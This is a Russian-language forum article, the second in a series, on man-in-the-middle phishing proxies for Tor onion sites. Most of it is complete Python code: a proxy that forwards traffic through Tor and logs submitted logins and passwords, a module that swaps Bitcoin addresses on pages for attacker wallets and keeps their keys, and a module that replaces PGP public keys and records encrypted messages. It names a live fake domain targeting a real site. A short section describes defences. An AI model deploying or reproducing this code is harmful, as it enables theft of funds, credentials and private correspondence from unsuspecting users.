Спойлер: Вступление
В первой части статьи я разобрал, как создать поддельный адрес, развернуть сервисы Tor и рассмотрел ключевые векторы для атак, саму идею MITM Proxy. Теперь настало время перейти к более глубокому уровню! Мы разберём, как реализовать MITM внутри PGP, научимся работать с динамическими данными на примере подмены Bitcoin-кошельков. Отдельное внимание уделю методу защиты, который поможет частично снизить риск подобных атак. Перед началом настоятельно рекомендую ознакомиться с первой частью статьи, чтобы лучше понимать весь контекст, темболее, если вы захотите разместить такую штукенцию на своём хостинге. Уязвимость состоит в маршутизации, а не криптографии!
Спойлер: Замена динамических данных
Представим ситуацию: вы хотите провести MITM фишинг на сайте, заменив настоящие адреса криптовалют на свои собственные, чтобы заставить пользователей отправлять средства не на оригинальные кошельки, а на фейковые.
Что мешает просто найти все адреса по регулярному выражению и заменить их на свои?
Проблема в том, что если заменить все адреса на одинаковый, пользователь быстро заметит, что везде повторяется один и тот же кошелёк.
Кроме того, некоторые совпадения регулярных выражений могут быть случайными наборами символов, не являющимися адресами, что тоже будет бросаться в глаза.
Для обхода нужно добавить верификацию чексуммы, чтобы подменять только реальные адреса.
Далее, для каждого оригинального адреса необходимо сгенерировать свой уникальный двойник - и связать его с оригиналом. Это позволит при переходе пользователя на другие странички с тем же адресом, а не создавать каждый раз новый (При обновлении страницы - другой адрес, это странно).
Спойлер: Код модуля замены BTC
Спойлер: segwit_addr.py (необходим для проверки по bech32)
CSET = "qpzry9x8gf2tvdw0s3jn54khce6mua7l"
def bech32_polymod(values):
GENS = [
0x3b6a57b2,
0x26508e6d,
0x1ea119fa,
0x3d4233dd,
0x2a1462b3,
]
chk = 1
for v in values:
b = (chk >> 25)
chk = ((chk & 0x1ffffff) << 5) ^ v
for i in range(5):
if ((b >> i) & 1):
chk ^= GENS[i]
return chk
def bech32_hrp_expand(hrp):
return [ord(x) >> 5 for x in hrp] + [0] + [ord(x) & 31 for x in hrp]
def bech32_verify_checksum(hrp, data):
chk = bech32_polymod(bech32_hrp_expand(hrp) + data)
return chk == 1 or chk == 0x2bc830a3
def bech32_decode(bech):
if (any(ord(x) < 33 or ord(x) > 126 for x in bech)):
return (None, None)
bech = bech.lower()
pos = bech.rfind('1')
if pos < 1 or pos + 7 > len(bech):
return (None, None)
if len(bech) > 90:
return (None, None)
hrp = bech[:pos]
data = []
for c in bech[pos+1:]:
d = CSET.find(c)
if d == -1:
return (None, None)
data.append(d)
if not bech32_verify_checksum(hrp, data):
return (None, None)
return (hrp, data[:-6])
def convertbits(data, frombits, tobits, pad=True):
acc = 0
bits = 0
ret = []
maxv = (1 << tobits) - 1
for value in data:
if value < 0 or (value >> frombits):
return None
acc = (acc << frombits) | value
bits += frombits
while bits >= tobits:
bits -= tobits
ret.append((acc >> bits) & maxv)
if pad:
if bits:
ret.append((acc << (tobits - bits)) & maxv)
elif bits >= frombits or ((acc << (tobits - bits)) & maxv):
return None
return ret
def decode(hrp, addr):
hrpgot, data = bech32_decode(addr)
if hrpgot != hrp:
return (None, None)
if data is None or len(data) < 1:
return (None, None)
witver = data[0]
witprog = convertbits(data[1:], 5, 8, False)
if witprog is None:
return (None, None)
if len(witprog) < 2 or len(witprog) > 40:
return (None, None)
if witver == 0 and (len(witprog) != 20 and len(witprog) != 32):
return (None, None)
if witver > 16:
return (None, None)
return (witver, witprog)
Спойлер: fakebtc.py
import re
import os
import threading
import hashlib
import base58
from bitcoinlib.keys import Key
import segwit_addr
PKEYS_F = 'btc.txt'
MAP_F = 'btcbd.txt'
LOCK = threading.Lock()
BTC_RE = re.compile(
r'\b(?:[13][a-km-zA-HJ-NP-Z1-9]{25,34}|bc1[a-z0-9]{25,59})\b',
re.IGNORECASE
)
ADDR_MAP = {}
def load_map():
if os.path.exists(MAP_F):
with open(MAP_F, 'r') as f:
for line in f:
line = line.strip()
if ':' in line:
orig, fake = line.split(':', 1)
ADDR_MAP[orig] = fake
def save_map(orig, fake):
with LOCK:
with open(MAP_F, 'a') as f:
f.write(f'{orig}:{fake}\n')
def save_pkey(wif):
with LOCK:
with open(PKEYS_F, 'a') as f:
f.write(wif + '\n')
def is_b58(addr):
try:
dec = base58.b58decode(addr)
except Exception:
return False
if len(dec) != 25:
return False
ver = dec[0]
csum = dec[-4:]
vh160 = dec[:-4]
h = hashlib.sha256(hashlib.sha256(vh160).digest()).digest()
if csum != h[:4]:
return False
return ver in (0x00, 0x05) # P2PKH, P2SH
def is_b32(addr):
hrp = 'bc'
ver, prog = segwit_addr.decode(hrp, addr)
if ver is None:
return False
if not (2 <= len(prog) <= 40):
return False
return True
def is_btc(addr):
addr = addr.strip()
if addr.lower().startswith('bc1'):
return is_b32(addr)
return is_b58(addr)
def gen_fake():
k = Key()
return k.address(), k.wif()
def fakebtc(text):
def repl(m):
orig = m.group(0)
try:
print(f'[DEBUG] Найден адрес: {orig}')
if not is_btc(orig):
print(f'[DEBUG] Адрес НЕ валиден: {orig}')
return orig
if orig in ADDR_MAP:
print(f'[DEBUG] Используем уже созданный двойник для {orig} -> {ADDR_MAP[orig]}')
return ADDR_MAP[orig]
fake, wif = gen_fake()
ADDR_MAP[orig] = fake
save_map(orig, fake)
save_pkey(wif)
print(f'[DEBUG] Создан двойник для {orig} -> {fake}')
return fake
except Exception as e:
print(f"[ERROR] Ошибка при обработке {orig}: {e}")
return orig
return BTC_RE.sub(repl, text)
load_map()
Спойлер: Взлом PGP
Любое коммуникативное шифрование, каким бы сложным оно ни было, может быть взломано, если атакующий находится посередине, начиная с первого взаимодействия между пользователями.
Надеюсь, принцип понят, продемонстрирую на PGP.
Спойлер: Сценарий замены ключей
A, B - обычные пользователи. C - атакующий (MITM). 1. A отправляет свой публичный ключ пользователю B. 2. C перехватывает публичный ключ и сохраняет его в базе данных. 3. C создаёт собственную пару ключей. 4. C отправляет B свой публичный ключ, выдавая его за ключ A. 5. B шифрует и отправляет зашифрованное сообщение пользователю A. 6. C перехватывает сообщение и расшифровывает его с помощью своего приватного ключа. 7. C при необходимости изменяет данные и/или читает их. 8. C шифрует данные с использованием оригинального публичного ключа пользователя A. A получает скомпрометированные данные.
Спойлер: Код модуля замены PGP
import re
import os
import threading
from datetime import datetime
import pgpy
KEYS_F = 'pgpk.txt'
MSGS_F = 'pgpmsg.txt'
LOCK = threading.Lock()
PUB_RE = re.compile(
r'-----BEGIN PGP PUBLIC KEY BLOCK-----(.*?)-----END PGP PUBLIC KEY BLOCK-----',
re.DOTALL
)
MSG_RE = re.compile(
r'-----BEGIN PGP MESSAGE-----(.*?)-----END PGP MESSAGE-----',
re.DOTALL
)
KEY_MAP = {}
def load_map():
if os.path.exists(KEYS_F):
with open(KEYS_F, 'r') as f:
blocks = f.read().split("\n\n")
for blk in blocks:
if not blk.strip():
continue
try:
orig, fake = blk.split("\n", 1)
KEY_MAP[orig.strip()] = fake.strip()
except:
continue
def save_key(orig, fake):
with LOCK:
with open(KEYS_F, 'a') as f:
f.write(orig.strip() + "\n" + fake.strip() + "\n\n")
def save_msg(msg):
with LOCK:
with open(MSGS_F, 'a') as f:
f.write(f"----- {datetime.now()} -----\n")
f.write(msg.strip() + "\n\n")
def gen_key(): #Данные для генерации стоит извлекать из реального ключа
k = pgpy.PGPKey.new(pgpy.constants.PubKeyAlgorithm.RSAEncryptOrSign, 2048)
uid = pgpy.PGPUID.new("MITM-Ключ", email="[email protected]")
k.add_uid(
uid,
usage={pgpy.constants.KeyFlags.EncryptCommunications, pgpy.constants.KeyFlags.EncryptStorage},
hashes=[pgpy.constants.HashAlgorithm.SHA256],
ciphers=[pgpy.constants.SymmetricKeyAlgorithm.AES256],
compression=[pgpy.constants.CompressionAlgorithm.ZLIB]
)
return str(k.pubkey), str(k)
def repl_keys(txt):
def rpl(m):
orig = f"-----BEGIN PGP PUBLIC KEY BLOCK-----{m.group(1)}-----END PGP PUBLIC KEY BLOCK-----"
if orig in KEY_MAP:
return KEY_MAP[orig]
pub, priv = gen_key()
KEY_MAP[orig] = pub
save_key(orig, priv)
print("[PGP] Подменён публичный ключ")
return pub
return PUB_RE.sub(rpl, txt)
def log_msgs(txt):
def log(m):
blk = f"-----BEGIN PGP MESSAGE-----{m.group(1)}-----END PGP MESSAGE-----"
save_msg(blk)
print("[PGP] Найдено зашифрованное сообщение")
return blk
return MSG_RE.sub(log, txt)
load_map()
Спойлер: PoC
Спойлер: main.py (Код фреймворка)
from http.server import BaseHTTPRequestHandler, HTTPServer
import requests, re, chardet
import traceback
import fakebtc, fakepgp #Модули замены, в будущем будет обновление
P = 5745
TGT = 'LIMB2zgtrohmyzjwq63ork27medl26wvjl6aqov5c2m64wkhbnqd.onion'
RPL = 'nabya4wtmd2h7kjvyv5x6nz65iwugzbxrqzpym47kwhfl23xiqfsvlad.onion'
SOCKS = 'socks5h://127.0.0.1:9050'
SUBS = {
TGT: RPL,
'</title>': '</title><script>alert("Этот домен фэйк и необходим для демонстрации уязвимости! Настоящий: http://LIMB2zgtrohmyzjwq63ork27medl26wvjl6aqov5c2m64wkhbnqd.onion")</script>',
'http://LIMB.cc': RPL,
'https://LIMB.cc': RPL,
'admin': 'EC5745Y',
'LIMB...bnqd.onion': 'nabya4wt...vlad.onion',
'[email protected]': '[email protected]',
}
def repl(txt):
for o, n in SUBS.items():
txt = txt.replace(o, n)
return txt
def enc(ct, data):
m = re.search(r'charset=([^\s;]+)', ct or '', re.I)
if m:
return m.group(1)
d = chardet.detect(data)
return d['encoding'] if d and d['encoding'] else 'utf-8'
class H(BaseHTTPRequestHandler):
def handle_one_request(self):
try:
super().handle_one_request()
except Exception:
pass
def _h(self):
try:
u = f'http://{TGT}{self.path}'
hdrs = {k: repl(v) for k, v in self.headers.items() if k.lower() != 'host'}
ln = int(self.headers.get('Content-Length', 0))
b = self.rfile.read(ln) if ln else b''
if self.command == 'POST' and b:
e = enc(self.headers.get('Content-Type', ''), b)
d = b.decode(e, errors='replace')
print('\n[POST BODY]\n' + re.sub(
r'(?i)(login|user(name)?|pass(word)?|pwd|e-?mail)',
lambda m: f"\033[91m{m.group(0)}\033[0m", d) + '\n')
r = requests.request(
self.command, u, headers=hdrs, data=b,
allow_redirects=False,
proxies={'http': SOCKS, 'https': SOCKS},
timeout=30
)
self.send_response(r.status_code)
for k, v in r.headers.items():
if k.lower() not in {'content-length', 'transfer-encoding', 'content-encoding', 'connection'}:
self.send_header(k, repl(v))
ct = r.headers.get('Content-Type', '')
if ct.startswith(('text', 'application/json', 'application/xml')):
e = enc(ct, r.content)
t = r.content.decode(e, errors='replace')
t = repl(t)
try:
t = fakepgp.repl_keys(t)
except Exception as e:
traceback.print_exc()
try:
t = t = fakepgp.log_msgs(t)
except Exception as e:
traceback.print_exc()
try:
t = t = fakebtc.fakebtc(t)
except Exception as e:
traceback.print_exc()
c = t.encode(e, errors='replace')
else:
c = r.content
self.send_header('Content-Length', str(len(c)))
self.end_headers()
try:
self.wfile.write(c)
except Exception:
pass
except Exception as e:
print(f"[ERROR] Ошибка в обработчике запроса: {e}")
traceback.print_exc()
try:
self.send_response(500)
self.end_headers()
except Exception:
pass
do_GET = do_POST = do_PUT = do_DELETE = do_PATCH = do_OPTIONS = _h
print(f"Фейковый адрес: {RPL}")
HTTPServer(('', P), H).serve_forever()
Спойлер: Видео
Спойлер: Защита
Спойлер: Для пользователей
1. Обфускация. Можно обфусцировать данные, подойдёт даже что-то очень примитивное. В конечном счёте они всё равно проходят только через фаервол, который, если начнёт их пропускать, попросту перестанет выполнять свою функцию. Спойлер: Пример обфускации echo "message5745" | base64 | revKUDN3UTZnF2czVWbecho "message5745" | fold -w3 | tac | tr -d '\n' | base64 | rev=MXZtdWYzdTNlVDNecho "message5745" | rev | od -An -tx1 | tr -d ' \n' | sed 's/./&-/g'3-5-3-4-3-7-3-5-6-5-6-7-6-1-7-3-7-3-6-5-6-d-0-a-echo "message5745" | base32 | tr 'A-Z2-7' '!@#$%^&*()-_=+<>?~'-527&<;@,=23*-94&4^!====echo "message5745" | gzip -c | xxd -p | tr 'a-f0-9' 'n-s5-90-m'6s3o5355555555555558po9q7q7r9r9p9s8080828650550335079r5o555555 2. Использование инструкций. Использование нестандартизированных инструкций, которые может изменить только человек (или нейросеть), но не скрипт на регулярках. Можно объяснить собеседнику, как собрать симметричный ключ, через который затем передать асимметрию. Спойлер: Пример инструкции Привет! Пароль к архиву - это год высадки человека на Луну, возведённый в третью степень.7633736209 3. Использование нестандартизированных форматов. Использование нестандартизированных форматов передачи данных значительно усложняет возможность их подделки. Для этого идеально подходят картинки P.S. Если открыть мой профиль и нажать на аватарку, она откроется в оригинальном размере - там можно увидеть мой фингерпинт PGP. Спойлер: Пример /data/avatars/o/3/3006.jpg
Спойлер: Для сервисов
Единственный рабочий вариант, который я вижу для сервисов - использовать такой механизм, который невозможно автоматически подменить и который при этом является критически важным для работы ресурса. Вдобавок сам этот механизм должен верифицировать подлинность сервиса. Пример - капча. В неё можно встроить домен или pre-/postfix onion. При этом капча не может быть просто убрана или пересоздана для пользователя (в отличие от, скажем, PGP), ведь данные, вводимые пользователем, необходимы для работы самого сервиса. Подделать их не должно быть тривиально - в конце концов, это же капча!
Спойлер: Замечание. Важно форумов с закрытой регистрацией!!!
Что уж говорить о фишинге, если сам форум способен изменять сообщения пользователей и их ключи. Форум требует обязательной авторизации для просмотра контента, и это позволяет ему показывать разным людям разное содержимое, которое должно быть одинаковым для всех. В результате один и тот же ключ может отображаться подлинным в "своём" аккаунте, но быть поддельным при просмотре с другого (аккаунта собеседника). Единственный способ решить проблему "злых админов" - предоставить возможность просматривать ключи всех пользователей без какой-либо верификации.
Спойлер: Бонус
Атака будет проведена на http://LIMB2zgtrohmyzjwq63ork27medl26wvjl6aqov5c2m64wkhbnqd.onion
Фэйковый домен: http://nabya4wtmd2h7kjvyv5x6nz65iwugzbxrqzpym47kwhfl23xiqfsvlad.onion
Фэйковый домен будет работать на протяжении нескольких дней с момента публикации! Развлекайтесь :heart:
Все сорцы, видео, части статей размещены в архиве.
Файл слишком большой...
Скачать: http://ksrqw4lpfhbopc2w6tehhnmwlr4mwfaunudi5p3wonbj4iizxqwpz7qd.onion/
LIMB